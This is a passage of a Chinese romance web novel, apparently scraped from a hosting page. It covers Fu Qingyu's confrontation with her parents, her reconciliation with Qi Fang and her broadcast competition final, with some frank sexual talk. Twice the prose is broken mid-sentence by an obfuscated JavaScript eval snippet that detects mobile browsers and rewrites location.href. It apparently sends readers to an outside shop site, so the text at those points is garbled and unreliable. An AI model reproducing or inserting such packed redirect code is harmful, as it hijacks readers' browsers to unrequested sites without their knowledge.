手机铃声打破了诡异的氛围,付轻屿看了眼手机,起身去阳台接的。 付轻屿挂电话,祁放才收回视线,吃口粉。 好不容易挑起的话题,一通电话打碎了,也没人再续上,这顿饭吃得沉。 临近放筷时,祁放手机响了。 付轻屿看他拿起手机走到阳台,听不清说的什么。电话打了会儿,祁放蹙着眉,转头看过她一眼,感觉有话要交代,最终又闭嘴转回去,点了点头。 祁放从来不背着她打电话……付轻屿呆愣两秒,无奈笑了下,这是故意学她呢。 为了验证自己的猜想,付轻屿等他挂断电话后问:“怎么了?” 收到的回答在预料之中,“学校的事。” 往常这个情况,她都会说一句‘工作的事’。 绝对是故意学她呢。 祁放利索收拾好厨房,开门走了,也没说什么时候回来。 付轻屿第一次意识到自己的‘恶行’。她现在非常想知道,‘学校的事’到底是什么事,祁放又去哪了,和谁去的,去多久,什么时候回来? 这些事,祁放之前都会主动跟她说,根本不用问,已经习惯了。 可她几乎不和祁放说这些,总是用一句‘工作的事’就把人打发了。 分手不像分手,恋爱不像恋爱,关系搞出个四不像,付轻屿也没厚着脸皮问他,只能憋在心里打提溜转,狠狠体会祁放以前的感受。 微信上的问候消息回一遍,名誉权起诉和节目组的事也够她忙了,不至于太想祁放。 一走两天没信,付轻屿做好决赛后再见面的准备了,没想到三更半夜,祁放毫无征兆地回来了。 付轻屿睡得轻,一开始以为家里进贼了,后来看客厅的灯光从门缝溜进来,想着贼不可能这么大胆。 门外新装的监控没白费,看到祁放背个大包开门,她将手机放到一旁,继续睡。 祁放蹑手蹑脚走床边,没敢开灯,摸黑看了会付轻屿,小声喃喃道:“睡得昏天黑地,家里进贼了都不知道。” “你躺前女家的床,是不是躺得太理所应当了?” 祁放扶着床边,差点一个趔趄摔在地上,心脏吓的直突突,嘴还是硬的,“床垫都是我陪你买的,躺得理所当然怎么了?” 付轻屿不指望凌晨两点谈心,也懒得跟他斗嘴。 祁放厚着脸皮躺床上,还分了付轻屿一半的被子。 躺了半天没睡着,祁放转向付轻屿,只能隐约看清个轮廓。以前付轻屿可爱抱着他睡了,如今好似同床异梦,不敢奢望。 付轻屿没赶他走,等于心里有他。祁放闭眼瞎想,不应该啊,付轻屿对他居然没有歹念? 他主动送上门,都躺床上了,付轻屿两眼一闭还能睡得着? 这定力,带发修行的潜力股啊。 付轻屿数了二千多只羊,没睡着,打开床头灯去了趟卫生间。 祁放眉头微皱,嘴角也有点下垂,睡颜看着很疲惫。 牙印和吻痕淡化不少,想到祁放顶着小片吻痕在外面逛了两天,付轻屿心头就烧得慌。 她没关床头灯,悄悄看了会,手指在祁放肩膀戳了下。 见祁放没反应,付轻屿给他按揉眉心,又轻轻按了按脑袋,好半天才关灯躺下。 光亮消失的瞬间,祁放缓缓睁开眼,又看不清付轻屿的脸。 —— 付轻屿醒来时,祁放已经走了,留了饭。 周三,付轻屿看手机日历,祁放八成是回学校上课了,她明天也要去永安,总决赛还有场硬仗要打。 付轻屿环视客厅,祁放留下的痕迹太多,很多难以察觉到的地方,他都完美入侵了。 决赛结束,无论如何,她都要和祁放把事说开。 情况远比上段感情棘手,不能再拖了,否则最后走不出来的,还不一定是谁。 付轻屿收拾好明天要带的东西,顺了遍主持稿的框架,不知不觉把午饭错过去了。 “咚咚——” 付轻屿起身开门,见到了两个不速之客。 从上大学开始,差不多有六七年了,这还是‘刘老师’和‘付医生’第一次过来看她。 三人面面相觑,沉默了几秒,付轻屿开口:“进来吧。” 付建林向来没什么表情,今天也不例外。刘云岚拿出了准备训学生的气势,表明来者不善。 付轻屿去倒水,也能猜到让两人兴师动众的原因,估计是听说热搜的事了。 杯身轻触桌面,水轻轻摇晃着,透出股紧张感。 付建林看向阳台,开口缓解气氛,“绿植养得蛮好,那吊兰长得旺。” 上学的时候,付轻屿最怕刘云岚跟她谈判,就像现在这样,两人隔着茶几面对面坐着,一个等着训人,一个等着挨训。 每年得谈判个四五次吧,特别是小时候,刘云岚管不上她,每次期中期末考试完,付轻屿就在姥姥家等着挨训,等着刘云岚出现。 付轻屿看向吊兰,又看了眼祁放给山乌龟编的小辫,心里也没那么怵了。 刘云岚沉默半晌,甩出一个通知,“收拾东西回家。” 付轻屿淡淡道:“我在这挺好的,没打算回去。” 刘云岚看她不疼不痒的态度,火气蹭蹭往上长,“你还挺好的?!你还嫌事闹得不够难看是不是?” 付建林按了按刘云岚的膝盖,试图让她降降火,没曾想被一巴掌拍开了。 “网上的东西不全是真的,都是瞎传。”付轻屿说,“你们当个乐呵,看着玩就行了。” “当看个乐呵,你倒是想的开,你知道网上怎么说你吗,你知道外面怎么传吗?当个乐呵?别人可不就拿你当个乐呵!”刘云岚起身甩下东西,就要开始收拾,“今天说别的不好使,你赶紧给我收拾东西滚回去,工作什么的,我跟你爸给你安排,别再出去丢人现眼了。” 刘云岚站起身,面对这陌生的一切,有些无从下手,又硬着头皮收拾。 “我回去干什么?回去就能当没事人了?”付轻屿看着刘云岚在家里乱撞,付建林拦也拦不住。 刘云岚不容置辩道:“回去干什么?回去干什么都比你在外面丢人现眼强!” 付轻屿无力地看着她,“我丢人现眼?外面的人怎么说我,你就怎么想我是吗?” “是!”刘云岚转过头瞪她,猩红的眼睛里掩着泪。她瞪过两秒,继续狠狠收拾东西,“我没管上你,没教好你,那是我的错,我认了,我上辈子造孽我。没教好,我带回去从头教。” “好好说话,你听孩子说两句。”付建林试图拉住刘云岚,又被吼了句。 刘云岚一着急,手上没拿稳,把祁放的水杯摔了。 玻璃炸了一地。 一声响后,陷入沉默,紧张的气氛绷到一根弦上。付建林急忙清扫,生怕误伤着两人。 付轻屿看着一地碎玻璃,感觉那不是个杯子,而是自己。 付轻屿顺了把额前的头发抓到脑后,深呼了一口气,“你能不能该管的管,不该管的不管,我已经二十六了,不是六岁,不是十六,非得什么事都按你说得走吗?我在眼里永远都是不行、不好、不够,我也不知道哎,我到底要做成怎样,在你眼里才算行才算好?” 付建林出声缓和,“好了,先静静,静下心里慢慢说。” “嗷对,还有你,每次一到这种时候,你能不能有点自己的看法,不要像根墙头草一样在两边晃,我真是受不了了。”付轻屿看着两人,“我已经不期待在你们眼里做好了,我不在乎了。你觉得我是丢人现眼,那就是吧,随便。我长成现在这样,你们就没有原因?” 刘云岚眼中情绪翻涌,张了张口,咬牙说:“你以为我想管你?你要不是我女儿,我死都不会管你!” “我宁可不是!” “啪!——” 付轻屿偏过头,半边脸是麻的,麻劲过后,开始火辣辣的疼。 这还是刘云岚第一次跟她动手,小时候一个眼神就威慑住了,用不上动武。哪怕是高考选专业,吵得再凶,都没动过手。 付轻屿知道,这次真惹怒‘刘老师’了,话扎到她心里去了。 “我明天还有工作,不会跟你们回去。”付轻屿说,“要走随便,要留……我陪你们去订房,晚上一起吃个饭。” 刘云岚什么都没说,拿起自己的东西,抖着手走出去。 付建林夹在中间晃,“轻屿啊,你妈她不是故意……” “别说了。”付轻屿叫停付建林的话,“你去看看她吧,别跑没了。” 关门声落下,付轻屿无力地坐到地上,压了这么多年的话吐出来,心里好像轻快了些。 左脸火辣辣的疼,心里也不好受。 “你慢点,慢点。”付建林紧赶慢赶,总算拽住了刘云岚。 刘云岚抿了两把泪,接过手帕擦脸,“你瞧瞧她说的话!这个小混蛋玩意,没良心的小犊子,还宁可我是不她妈。我吃饱了撑得,我就这么稀罕给她当妈。” 付建林叹气,“来的时候怎么说的?坐下来,心平气和地聊。你别一句话拽给她,又不是给学生下通知,孩子大了。” “就你会说,也没看你憋出个屁来。她有句话没说错,你就是个两边吹风儿的。”刘云岚把手帕拽给他,“没法坐下来聊,我俩天生八字不合,犯冲!你说她是不是克我,我上辈子杀人放火了,这辈子还不完的债。” “你俩中间,我也没说话的地。”付建林拍拍她的背,“松松手吧,以前没管上就是没管上,咱俩都失职。她野了十多年,突然被你关笼子里,能不闹吗?” 刘云岚瞪他,“听你这么说,还都是我的错了?” “我的错。她跟你还能吵吵两句,我这个当爹的都可有可无了。”付建林苦笑了下,“行了,宽宽心吧,人这一辈子不是给高考活的,也不是给成绩活的,刘老师。轻屿二十六了,照咱们那个年代都成家了,别攥着了,过去的就让它过去吧。” 刘云岚闷了会,抽回他怀里的手帕,“我是跟她过不去吗?我为了谁啊我?” “别跟自己过不去了。” 刘云岚擦了擦泪,没再说话。 付建林转头看向小区,又转回来看她,轻声轻语地说:“好不容易来一次,别跟那小混蛋计较了,咱再回去看看。” 刘云岚点了下头,付建林刚穿过身,又被她拉住。 “找找附近的菜市场和超市,买点菜回去,瞧那小混蛋玩意面黄肌瘦,饿得营养不良一样,是不是快吃不起饭了?” 刘云岚肯给台阶下了,付建林急忙拿出手机导航,又说:“让你说的呢,哪能这么严重。” “你在找找附近的银行,取点现钱给她放下。”刘云岚边擦泪边念叨,“她还不回家?出了这事,再回去工作,不得让同事把脊梁骨戳折了。” “行了,你闺女,脊梁骨没这么容易折。”付建林说,“真这么容易被戳趴下,高三也不敢背着你去校考。” “……行吧。” 祁放跟两人擦肩而过,手里拎着西瓜,脑袋乱乱的。付轻屿究竟怎么想的? 付轻屿瘫坐在地,泪眼婆娑,左脸还顶了个巴掌印,祁放顶着张讨债脸开门,看到这场景,表情直接吓失控了。 “怎么了?”祁放心里急地上蹿下跳,手指在她面前顿了下,又不敢碰那红印子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966586|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼泪跟着话往外涌,“怎么了?谁打的?自己打自己,傻了吗?” 付轻屿伸手抱住祁放,话里带着没哭尽兴的啜泣,“你能不能别走啊?” 祁放心里一下就乱了,以前那些破事全都抛在脑后,紧紧抱住怀里的人,又轻声说:“没走,哪都没走。你在这呢,我能往哪走。” 付轻屿情绪缓和下来,祁放用毛巾做好冰包拿给她,轻声问了句:“怎么弄得?” 付轻屿垂着眼冰敷,怎么都张不开嘴。 祁放观察了下,沙发上有个包,乱七八糟地装着些衣服。簸箕盛着碎玻璃片,看样子是他的杯子。 祁放小声说:“破杯子碎了就碎了,打自己做什么,傻不傻?” 付轻屿眉头皱着,抬眼看他,嘴唇颤抖着想说话,说不出来只好又低下头。 反复几次,祁放看懂了她话到嘴边,却难以启齿。 “没事,不想说就不说了。我买了西瓜,一会给你切西瓜吃。” 付轻屿轻轻开了口,“我妈打的。” 祁放愣了下,轻轻揉她的手,“她走了?” 付轻屿点头,落下一滴泪。 祁放心口揪着,“她家暴是吗?” 付轻屿苦笑着摇了摇头,“没,第一次动手。” 祁放心里跟着好受些,“没事了,不想她。” 他现在终于懂了,有些事、有些话就是难以启齿,是想尽办法千雕万琢后,还是黏在嘴里,最后只能是句‘没事’“算了”。 两人安静带了会,敲门声又响了。 祁放看向门口,又看看付轻屿。 “应该是颜泠,你去开一下门吧。” “好。”祁放起身,差点被自己买的西瓜绊倒,无意间给付轻屿逗笑了。 一开门,三人都愣住了。 刘云岚也不怂恿付建林先进门了,抬眼看向门牌号,又打量着祁放。 付建林:“你是轻屿的朋友?” “叔叔,阿姨。”祁放看两人手里拎着不少东西,“先进来吧,我来拎。” 四人在聚在客厅,刘云岚没看付轻屿,选择转头盯着祁放,气氛又多了层诡异。 祁放急忙开口:“放菜,我先把菜放到厨房去。” 刘云岚怼了下付建林,使个眼色,跟着祁放进了厨房。 厨房不算大,祁放接过菜,顺带看了眼刘云岚,也哭过。 虽然搞不清状况,但看样子没到兵戈相向的程度,祁放也就拿出对待长辈的态度。 刘云岚开始处理食材,看似漫不经心地问:“你是她同事?” “不是。”说不紧张那是吹牛皮,祁放难以解释她和付轻屿现在的复杂关系,只好拿了个能用的词,“朋友。” 刘云岚没说话,也没看他。 祁放已经能看出来家里谁是老大了。 他转身看向客厅,父女俩正并排坐着,不知道在说什么。 祁放想了下,还是决定在厨房处理食材。 刘云岚问:“你跟轻屿怎么认识的?” 祁放:“我姐跟轻屿是朋友,然后我们就认识了。” 刘云岚看他处理食材麻利,对厨房更是了如指掌,仿佛跟在自己家一样。 “你们合租啊?” 祁放被问愣了,“算是、算是吧。” 刘云岚点点头,听明白了。 “别放葱,轻屿不喜欢吃熟葱。” 刘云岚架着葱的手顿了下,心里有些不是滋味,半晌才把葱放下,应了句“好”。 “多大了?” “二十一。” 刘云岚问了些杂七杂八的事,等祁放卸下防备心,突然敲打了句,“什么时候在一起的?” “过年的时候。”祁放嘴在前面跑,脑子在后面追,反应过来时,话已经说完了。 刘云岚没说别的,又问:“闹别扭了?因为网上那事?” 祁放被识破后更紧张了,“网上那事是假的。我俩自己的问题,闹了点小别扭,跟我生气呢。” 刘云岚转念一想,刚过二十,还上大学呢,小孩没长性,付轻屿不一定能领回去。“学的什么专业?” 祁放:“漫画。” 这个话题说完,祁放明显感觉刘云岚的脸色沉了不少。 刘云岚:“怎么想着学漫画的?” 祁放老实巴交地说:“喜欢。” 扯到学习上,刘云岚问东问西,听到了六百多分的成绩,没忍住又问了一遍,“你这个分数,怎么想着去学漫画的?” 祁放:“因为喜欢啊。” 刘云岚看他:“……” 祁放被她看的发毛,有种逃课打球正巧撞上班主任的既视感。好在刘云岚看了他两眼,就没再继续看。 祁放揉了揉鼻子,估摸出件事,刘云岚不喜欢他学的专业。 “阿姨,你不太喜欢轻屿的工作,是吗?” 刘云岚给了他一记眼神杀,回答了沉默。 祁放冒了身冷汗,硬着头皮讲:“阿姨,我去过轻屿主持的节目,现场嘉宾观众特别多,比三个班级的人都多。一期节目快的话录制四五个小时,甚至八九个小时,她都能稳稳掌控,台上台下帮过很多人,你都没见过她怼人渣的样子,超厉害!” 刘云岚笑了下,“她嘴皮子能不厉害吗?怼我都一套套的。” 祁放见她脸色缓和些,觉得这方法有用,开始在她耳边大夸特夸,给付轻屿夸上天还不够,恨不得夸上银河系。 刘云岚挺吃这套,祁放嘴甜,说话好听,不像付轻屿,一张口能撅出她二里地去。 听祁放说完,刘云岚还是不太喜欢付轻屿的工作,倒不像以前那么反感了。或许就像祁放说的,时代在变,能传授知识的人厉害,能提供快乐情绪的人也很厉害,又不是华山论剑,干啥非要较个高低出来。 刘云岚一开心,话也多,越看祁放越稀罕。最后坐到饭桌上,两人闲话说着,比亲生的都亲。 付轻屿和付建林对了个眼神,没怎么接上话,闲着又没事干,光剩给旁边人夹菜了。 付建林特意请假过来的,明天还有手术,吃饱饭没多留。 刘云岚更不可能留下,临走也没跟付轻屿说什么,对上视线还有些不自在。两人僵了六七年,刘老师大退一步,心里自然是别扭的,更不可能主动说什么了。 将两人送到车站的路上,付轻屿想了很多,她以为自己是恨刘老师的,毕竟这么多年,回想那些最难堪的记忆都是来源家庭,但是,最幸福的记忆好像也是。 付轻屿很喜欢听姥姥讲‘刘老师’的故事。 家里三个女娃中,刘云岚是唯一要强考出去的人,她们那个年代考大学难,再加上些老旧观念,女娃跑出去上学更不容易,家里支持不上,也想让她早点结婚算了。 刘云岚不管不顾地闯了出去,事业爱情都是自己选的,选得好,姥姥跟着扬眉吐气。 很小时候,付轻屿就对‘刘老师’有种近似赋予神性的崇拜。她的母亲坚韧、勇敢、镇定,能劈山断河,是榜样,带着‘可远观而不可亵玩’的气质。 可时常又觉得,她的母亲不像母亲。 付轻屿向往‘刘老师’的自由,却又被她束缚,爱恨早就纠缠不清了。 直到车站分离,两人也没能一笑泯恩仇。 刘云岚默不作声地退了步,付轻屿也低了低头,终于开口道:“爸妈,路上注意安全。” 付轻屿没敢看两人的反应,听付建林叮嘱了两句,半晌才敢抬头,看向淹没在人群中的背影。 祁放一口气松下来,软成了赖皮虾,两腿打抖,一手撑在付轻屿肩头,“不行了不行了,我的老天爷啊,紧张死我了。” 付轻屿没忍住抬头亲了他一下,两人关系已经是断了藤的西瓜,满地乱滚,也不差这一下了。 万一后面亲不到了呢?付轻屿想着,又抬头亲了他一下。 祁放被连着偷袭两次,猛地一激灵,差点瘫到地上去。 “祁放,我们聊聊吧。” 56. 56 祁放腿软,非要买两瓶水缓缓,又不让人跟着。 付轻屿只好回车上等。 ‘刘老师’退一步,付轻屿心里才算彻底喘上口气,松快了。灰蒙蒙的雾气散开,不管看什么,都锃亮,整个世界倍儿清楚。 不知道祁放跟‘刘老师’说啥了? 想着祁放,付轻屿笑了下,他这人就是匹彩虹小马,逮到谁往谁心头闯,不管阴天多云,都能给你扯出道彩虹来。 祁放捧了两杯橙汁回来,付轻屿人坐在车里,心跳开始狂奔。 “没有西瓜汁了。” 付轻屿接过橙汁,“你的搜索记录,我看过了。” 她一个破罐子摔出去,心里话说出来,舒坦了。 祁放疑惑点头,没明白付轻屿的意思,他的搜索记录有什么好看的? 不对! 他搜过那事的感受正不正常! 这也不算什么吧,他又没做过,知道的少很正常啊?付轻屿难道要笑他? 祁放喝口橙汁压惊,“你、你什么意思?” 付轻屿看着他,“在一起的时候,是你说自己能接受的吧?” 祁放懵圈点头。 付轻屿:“上次不是我逼你的吧?” 祁放继续懵圈点头。 付轻屿:“爽完了,提起裤子想着反悔了?” 祁放头点到一半,急忙刹车,差点没反应过来,“我什么时候反悔了?” 付轻屿蹙眉,“那你搜索记录什么意思?你想掰我?” 祁放一头雾水,“我什么时候想了?” 付轻屿拿过他手机,直接将搜索记录怼到他面前。 祁放更是一脸懵,完全没印象,都不知道什么时候误触的标题! 付轻屿举着‘铁证’,一脸要定他死罪的模样。 祁放气势汹汹地想要反驳,奈何付轻屿跟他怄气的样子太罕见,他一下看入迷了。 付轻屿拍他一巴掌,“说话啊。” “我手滑了,误点的,真的。”祁放又看了眼搜索记录,指着两条‘男科免费咨询’的标题,“你看!这也是我手滑点的,你一点都不关心我!” 付轻屿看了眼,还真有两条‘男科’标题。 祁放是彻底想明白了,“就因为这个破标题,你要跟我分手?付轻屿,你混蛋!‘男科免费咨询’的标题,我点了两条,数量上都更胜一筹,硬是一点都没看到是吧?!你一点都不关心我!找到点问题,就想把我甩了!” 付轻屿心里发虚,“你有没有问题我能不知道吗?一点就着,你有什么病?” 祁放上火,“只能看到外面,看不到心里是吧?气死我了,就连上床都是我提的。我对你什么样,你心里面不清楚啊?” “吵架的时候,你说自己是出来……”付轻屿顿了下,才不情愿地说出口,“出来卖的,你让我怎么想?” “我那说的是这事吗?!”祁放急地拍腿,“只有我自己光溜一条,里里外外都被你看光了,你穿得倒严实,那像做.爱吗?我不能生气吗?我也想亲你,不只亲嘴!” 话音一落,两人对视着,彻底沉默了。 祁放转过头,以肉眼可见的速度上色,熟透了。 付轻屿视线没动,耳尖慢慢泛红。 祁放挠头,又小声说:“当时觉得不太公平,没过脑子就说出来了。之前查资料时,看前辈们的帖子,用蒂也可以,我就想给你口……” 付轻屿一把捂住祁放的嘴,“行了,别说了,知道你说话不过脑子了。” 付轻屿转头喝了口橙汁。 橙子不是降火的吗,怎么还越喝越热了? 掰的太顺利了,忘记祁放原来是直的,死直男直的要命。付轻屿简直想捶地,谁没事生穿不穿衣服的气?还公不公平,真他大爷的离谱。 而且!谁叫他看这么多乱七八糟的了! 付轻屿拍拍心口,她有自己的节奏,但跟不上祁放黄的速度。 “我错了。”祁放先低头,“一生气就爱乱说话的毛病,绝对会改掉。至于不好开口的事,你想说就说,不想说就不说。但遇到麻烦时,别什么都不说,也别总想着把我摘出去。我能做一点是一点,要不然心里难受。” 暖心窝的话一听,付轻屿哪还有什么问的,本来她的问题就大。 祁放看她,语气长出被丢下的怨意,“我错再大,也没你大,分手是能随便说的吗?!” “我错了。”付轻屿说得诚恳,“你等着下次穿衣服被.干,绝对公平。” “付轻屿!” 付轻屿想亲他,又按不住人。 祁放手都不给牵了,只有食指被她勾住不放。 “我不想分手,一点也不想。搜索记录,还有吵架时的话,我以为你后悔了……”付轻屿看他,努力纠正过错,“我稀罕都来不及,不可能再推开了。 虽然没法和你一样,发长大串的消息,但有事绝对跟你说。 我不想把你扯进大家视野,不安全,也怕你被人抢去。有人问的话,会表明有个圈外男友,行吗?” 三两句话,每个字都说到祁放心坎里,说的他快找不到北了。 祁放定了定心神,“你就会说这些好话。” 付轻屿勾着他的手指晃了晃,“能不能不分手啊,男朋友。” “是你跟我分手,还直截了当地分了两次!”祁放连一根手指都不给她牵了,思忖片刻,毅然决然道,“你追我!” “啊?”付轻屿笑,并试图理解祁放的脑回路。 “啊什么?你非要分手,还两次!以为我想丢就丢,想捡回来就捡回来吗?”祁放傲娇道,“你追我,把我追回去。” 付轻屿笑着点头,见他张牙舞爪到最后,只为了亮出两颗小虎牙,就觉得可爱。 祁放瞄她一眼,“不情愿啊?” “情愿,追,必须追。”付轻屿打火开车,乐意陪他玩这追人小游戏,“我亲爱的前男友,你是回学校呢,还是回哪呢?” 祁放不爱听‘前男友’这个词,“你就故意的。” 付轻屿笑:“意思是回我那?” 祁放:“我回天上,我上天。” 付轻屿:“那可不行,我送不到。” 祁放沉默片刻,又说:“你明天还得去比赛,反正我这两天也要赶稿,等决赛后再追吧,我给你放放水。” 付轻屿笑:“能多放点水吗?” 祁放坚决道:“不能!” 说不多放,就不多放。 晚上睡觉,祁放也不给付轻屿抱,继续提高她戴发修行的潜力,第二天走得早,赶早八。 付轻屿去永安,总决赛采取直播的形式,提前一天彩排,周五正式比赛。 自从付轻屿找颜泠和好,勇敢迈出第一步后,勇气越用越多,破罐子越摔越溜,心也越来越自由。 经历过热搜事件,赛友们以为她会受挫。 没想到再次见面,付轻屿比之前还有干劲,明显更放得开了。 晏清再见到付轻屿时,表情都透出股不可置信。 彩排当天,晏清琐事缠身,没能跟付轻屿说上几句话。等到直播候场时,两人有机会聊了几句。 晏清:“状态很不错,最后一仗,紧张吗?” 付轻屿笑着回应,“感觉还好,说实话,没有初赛紧张。” 晏清点头:“比赛加油,结果不会辜负你的。” “结果我已经选好了。”付轻屿说,“原以为节目会强制我退赛,看来还有别的安排。” 四下人不多,离得远,晏清没拐弯抹角,“确实。” 要是以前,付轻屿绝对不可能再问了,心知肚明就好。 如今心态不同,付轻屿也肆意了把,“如果我能拿奖,傻白甜的人设怕是要改了,毕竟沈则序是条大鱼,不用白不用,要稍微包装一下我吗?再包装个‘知己’‘挚友’的关系?” 晏清的表情翻涌一遍,最后扯了个笑,“是个聪明人。沈则序连内幕都跟你讲了,你俩?” 付轻屿不紧不慢道:“说出来你可能不信,我俩什么关系都没有,顶多算个上下级。晏清老师跟他的关系,想必更复杂一些。” 晏清岔开话题,“你很幸运,虽然我们遭遇相似,但这次,我和团队都可以帮你一把。” “是帮我吗?”付轻屿淡淡笑着,“热搜贴在我身上的标签,对你们来说更有益吧?” 晏清喜欢聪明人,但不喜欢太过锋芒毕露的。 付轻屿叹息:“这些标签要被你们当成噱头,反复揭露,想必我也得掉层皮,还是算了吧。” “算了吧?”晏清嗤笑,“多少人想要这个机会,都得不到,怎么红不是红?” 付轻屿语气平淡:“那正好,给那些有需要的人吧。” 晏清搬出制片人的气势,“你这一身标签,不管去到哪,都得被反复揭。看清形势吧,狼多肉少,还有几个平台会用你?” “所以,要先把这身标签摘了,而不是被人反复揭。”付轻屿说,“你能看到这些标签的利益,其他平台就看不到吗?” 晏清冷笑了下。 付轻屿:“沈则序和那个人不一样,我和你也不一样,没打算妥协。晏清老师,你比之前成熟了很多,也让我认不出来了。” 晏清看她,眼神像在看一个不服管的员工,“人都是会变的。” “你确实帮过我,在母校那次演讲,或许你已经不记得了。”付轻屿笑了下,“你现在很成功。所以,掌握自己的话语权了吗?” 晏清一愣,眼中闪过一丝茫然,很快就被掩盖过去了。 付轻屿看着她,“曾经有过一年多的时间,我一直在追随你的脚步,迫切想拥有你话语中的‘自由’。 可后来,我又迷茫,真想成为像你一样的人吗? 直到前两天我才想明白,我不想成为任何人,我只想做我自己。不过,还是谢谢你,谢谢曾经那个你。” 工作人员走上前,提示付轻屿可以候场了。 付轻屿点头应下,接过麦克风。她最后看向晏清,浅浅笑了下,“该上台了,属于我的舞台,我想,我掌握自己的话语权了。” 付轻屿的背影消失在后台,晏清看的出神,似乎看到了曾经的自己。 这场总决赛,付轻屿说得尽兴。 互动环节,有观众提问:“你和沈则序是什么关系呢?” 付轻屿笑:“上下级关系,打工人和老板的关系。” “对于沈则序,有什么想说的吗?” 付轻屿:“下次点烟时,注意点。” “问问问,有什么好问的?”祁放心里吐槽,直播没法快进,只能被迫听了几句。 祁放上课溜号,只看了付轻屿的片段。 午饭结束,终于等到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966587|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 付轻屿荣获亚军的结果。 祁放揣着手机,左等右等,一下午都没收到付轻屿的消息。 付轻屿还追吗?还记得追吗? 说给她放点水,她还真游起来了? 有这么追人的吗? 说的好听,就会说些好话! 祁放忍到晚饭,还没见消息,心里开始暗暗盘算,改个什么策略好呢? 祁放和两个舍友走出教学楼,从两节大台阶往下看,一眼就认出了付轻屿。 基础白T配牛仔裤,头上还扣了顶棒球帽,很简单的穿搭,穿在付轻屿身上,就莫名让人移不开眼。 祁放愣了下,身后的大尾巴翘起来,已经按耐不住,想开始摇了。 舍友转身叫他,“走啊,发什么呆呢,吃饭去啊。” 祁放跟上,步子越走越快,跟付轻屿对视一眼,又假装没看见,故意等着她叫。 付轻屿以为他真没看见,出声给人叫住。 “谁啊?” “你女朋友啊?” 两个舍友一问,祁放臭嘚瑟道:“嗯,不跟你们吃了。” 付轻屿跟他舍友远远打声招呼,还没看到人回应,视线就被祁放挡住了。 “您还能记起我啊?”祁放等一下午消息,脑袋上都快长出天线了,“我还寻思水放太多,给您放到太平洋了,接收不到信号呢?” 付轻屿笑:“对不起啊,下午太忙了,实在没抽出空来。反正回来也没啥事,想着当面跟你说。” 祁放身后的大尾巴立即就摇上了,表情还带点小别扭:“恭喜啦,青峰卫视的主持人。” 付轻屿笑着叹气,“哎呀,恭喜早了,我没跟他们签合同。” “啊?”祁放错愕,“你准备这么久,都拿下亚军了,怎么没签合同?” 付轻屿重返校园,也给祁放还个愿,边逛边解释节目的事,累了就找个长椅坐下。 祁放脸上的表情翻转变化,听完后先沉默了会,又说:“幸好没签,就不和他们签,臭扒皮们!你这么厉害,肯定有更好的发展。” “会的。”付轻屿笑笑,“饿吗?” 祁放说:“一会还有晚自习,明天早八……” 全都请假吧!不行就逃了。 付轻屿听明白了,这是没空的意思。 “我得回趟寝室,拿点东西。”祁放起身,见付轻屿没有要动的意思,以为她是走累了。再说,让付轻屿等在男生宿舍楼下,太危险了! 付轻屿点点头,心里有些失落,想着有课也没办法,打算明天早八过后再来找他。 “那你在这待会吧。” 付轻屿看他跑开的背影,静静待了会才起身。 往校门口走的路上,付轻屿接了个电话。 何雨萌也没客套,开门见山道:“没签青峰?” 付轻屿笑:“你这消息也太灵通了吧。” 何雨萌“哎”了声,“这个圈能有多大,哪有隔夜的事。有别的安排?” “没呢。”付轻屿说,“节目的事,有些复杂,我这一时半会也说不清楚。” 何雨萌:“吃饭了吗?约一顿?” 付轻屿吃惊,“你不是在云水那边吗?什么时候回来的?” 何雨萌:“昨天刚落地。” 付轻屿深呼一口气,“你讲的访谈节目,找到合适人选了吗?我其实挺想做的,之前就是对自己没信心,怕撑不起来。现在吃了熊心豹子胆,怕是没什么怕的了,沾这一身事,不知道还合适吗?” 何雨萌沉默片刻,“你是不是知道我的意图啊?我准备了一肚子的话,你也让我说两句。” 付轻屿松一口气,心情荡上去,“想吃什么,你定个地,随便说。” 何雨萌笑:“不对劲哈,变了个人似得。突然这么率性,中彩票了?” “差不多吧,”手机突然弹出另一条电话,付轻屿急忙跟何雨萌说,“我先接个电话,一会吃饭聊,你个地行吧。” 何雨萌愉快应下,付轻屿接了祁放的电话。 “你去哪了?”祁放拿完东西,再回到湖边一看,人不见了,“我说回寝室拿点东西,还让你在那待会,你没懂啊?” 付轻屿有点懵,她只想着祁放那句‘晚自习和早八’,没领会到后面几句话的要义。 祁放气息有些喘,听着像在跑,“你去哪了?” 付轻屿:“往东门走呢,在喷泉这边。” “有你这么追人的吗?”祁放生气说,“一点也不主动,我走你也走,你到底会不会追人啊?” 从逻辑上讲,她好像没做错。付轻屿想了下,“我没追过别人,你是第一个。” 电话那头沉默了两秒,只有急促的呼吸声,半晌才开口,声音明显扬上去了,“那你说,你打算怎么追?” 付轻屿:“等你明天上完课,再过来,然后一起吃个饭?” “那今天晚上怎么办?”祁放说,“今天晚上不过了?” 付轻屿:“……” 不是你说有晚自习吗?不是你说有早八吗? “转头。说话。” 付轻屿转身,只见祁放跑的气喘呼呼,身后披着一片晚霞,手上还拎了个大包。 像逃亡。 像私奔。 风在耳边呼啸而过,付轻屿愣住,心却准备好跟他一起跑了。 “今天晚上不追了?” 57. [锁] [此章节已锁] “追。”付轻屿看他,“晚自习怎么办?” “我回去上晚自习,你去干什么?”祁放努力平稳呼吸,额头跑出层薄汗,几缕发丝贴在上面。 